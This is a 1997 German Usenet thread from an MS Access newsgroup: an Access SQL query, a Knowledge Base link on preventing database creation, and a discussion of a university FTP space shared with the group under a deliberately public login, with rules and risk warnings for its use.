>SELECT DISTINCTROW MSysObjects.Name
>FROM MSysObjects LEFT JOIN USysAppObjects ON (MSysObjects.Type =
>USysAppObjects.Type) AND (MSysObjects.DateUpdate =
>USysAppObjects.DateUpdate) AND (MSysObjects.Name =
>USysAppObjects.Name)
>WHERE ((MSysObjects.Type In (-32761,-32764,-32766,-32768)) AND
>(USysAppObjects.Name Is Null))
>GROUP BY MSysObjects.Name
>HAVING ((MSysObjects.Name Not Like ("~*")))
>WITH OWNERACCESS OPTION;
>
>-- end of message --
>
hth
bernhard
Christian Froehler
<nix zitiert, alles geloescht>
Hallo,
was die M$ Knowledge Base zum Thema
"ACC: How to Prevent Users from Creating New
Databases"
zu sagen hat, findet man unter:
http://www.microsoft.com/kb/articles/q123/4/83.htm
Ciao,
Christian Froehler.
--
Please remove ".nospam" from reply-address.
Gerald Huber
In article <01bc45ca$a2888ea0$0100007f@586er> "van den Brandt" <v...@online-club.de> writes:
>> Ich koennte der newsgroup ein paar MB auf
>> dem FTP Server unseres Lehrstuhls einrauemen,
>> solange damit kein Unsinn getrieben wird.
>> (copyright Material o. ae.)
>> Ist allerdings eine langsame Maschine.
>wäre nicht schlecht
Wie andernorts schon erwaehnt:
Host: pc1502.geographie.uni-regensburg.de
User ID: access
Password: access
Directory: /serweb/access
Schau ma mal ob's geht.
Gruss, Gerald
--
Gerald Huber
In article <334cf39d...@news.nacamar.de> Juen...@gus.de (=?ISO-8859-1?Q?Christoph_J=FCngling?=) writes:
>Gerald...@geographie.uni-regensburg.de (Gerald Huber) wrote:
>Klingt gut, solange Du keine Probleme bei Mi=DFbrauch bekommst. Denn
>irgendein Idiot wird fr=FCher oder sp=E4ter ausprobieren, was man da =
>alles
>darf :-(
Bislang noch alles.
Wenn jemand etwas nur temporaer hinstellen will,
kann er es hernach auch wieder loeschen.
Auch fremde Dateien.
Insbesonder kann man sich was runterladen,
einen Virus reinsetzen und das dann wieder raufladen.
Wer also da was ablegt und hier einen Hinweis
darauf postet, sollte dazusagen, wann er die Datei
raufgelegt hat.
Benutzung in jedem Fall auf eigene Gefahr.
>Zugriffsrechte?
Per ftp:
Host: pc1502.geographie.uni-regensburg.de
User ID: access
Password: access
Directory: /serweb/access
Wie der Name pc1502 schon andeutet:
Bitte nur 8+3 Dateinamen
Wer den Dateiamen (z.B. file.ext) schon kennt,
kann auch es sich auch per http holen:
http://pc1502.geographie.uni-regensburg.de/access/file.ext
Wenn der Platz knapp wird, behalt ich mir vor,
alles moegliche runterzuwerfen.
Nicht-Textdateien daher moeglichst komprimiert raufladen.
(xyz.zip oder so plus ggf. kurzer Beschreibung xyz.txt)
So. Und jetzt jag ich die limited warrenty von MS durchs OCR
und leg sie da mal als erstes drauf.
Huch, geht nicht. Ueberschreitet die 20 MB Grenze ;-)
Gruss, Gerald
--
van den Brandt
Gerald Huber <Gerald...@geographie.uni-regensburg.de> schrieb im Beitrag
<Gerald.Huber....@geographie.uni-regensburg.de>...
>
> Per ftp:
>
> Host: pc1502.geographie.uni-regensburg.de
> User ID: access
> Password: access
> Directory: /serweb/access
>
> Wie der Name pc1502 schon andeutet:
> Bitte nur 8+3 Dateinamen
>
> Wer den Dateiamen (z.B. file.ext) schon kennt,
> kann auch es sich auch per http holen:
>
> http://pc1502.geographie.uni-regensburg.de/access/file.ext
>
> Wenn der Platz knapp wird, behalt ich mir vor,
> ....
Ich habe ihm eine Datei zugeschickt (vdb.zip).
Inhalt:
liesmich.txt (Hinweise), vdbdat.mdb (1 Testtabelle) und
die vdbexe.mdb
In der vdbexe.mdb ist beispielhaft auf die vdbdat.mdb bezogen enthalten:
1. die flexible Wiedereinbindung von Tabellen mittels
Datei-Öffnen-Dialog
2. die Sicherung der eingebundenen Tabellen mittels abgewandelter
Insecure-Geschichte
Gerald hat mir heute mitgeteilt, daß er die gepackte Datei unter obiger
Adresse zur Verfügung gestellt hat.
Bis denne
Heinz
Gerald Huber
In article <33593399...@news.nacamar.de> Juen...@gus.de (=?ISO-8859-1?Q?Christoph_J=FCngling?=) writes:
>On Wed, 16 Apr 1997 18:19:06 LOCAL,
>Gerald...@geographie.uni-regensburg.de (Gerald Huber) wrote in
>de.comp.datenbanken.ms-access:
>>und nicht etwa:=20
>>>> http://pc1502.geographie.uni-regensburg.de/access/file.ext
>Oh neiiiiiinnn! DAU-Alarm!
Na, der offizielle Betreuer der DAU-Group muss es ja wissen. >;->
>>Bei Gelegenheit werde ich mal versuchen einen=20
>>automatischen html-Indexer reinzusetzten, dann ginge
>>es auch ueber
>>http://pc1502.geographie.uni-regensburg.de/access/index.htm
>>aber jetzt ist das nur nothalber und wird nicht=20
>>automatisch aktualisiert.=20
>Eine index.txt w=E4re vielleicht f=FCr die =FCber FTP Zugreifenden eine =
>gute Idee.
Kann man machen.
>Jeder, der ein Programm hochl=E4dt, m=FC=DFte sich diese dann erst
>downloaden, den eigenen Eintrag hinzuf=FCgen und sie wieder
>hochschreiben. CuteFTP zeigt bei Vorhandensein einer solchen z.B. die
>Eintr=E4ge neben der Dateiliste an. Nur f=FCr das Format der Indexdatei
>finde ich keine Doku, es mu=DF aber sowas wie
> file.ext <tab> Erkl=E4rung
>sein.
Werde mir das mal ansehen.
Zur Zeit aber leider keine Zeit.
Lasse von mir hoeren, bis dahin muest ihr ohne
Index Dynamic Link Librorum Prohibitorum auskommen.
Gruss, Gerald
--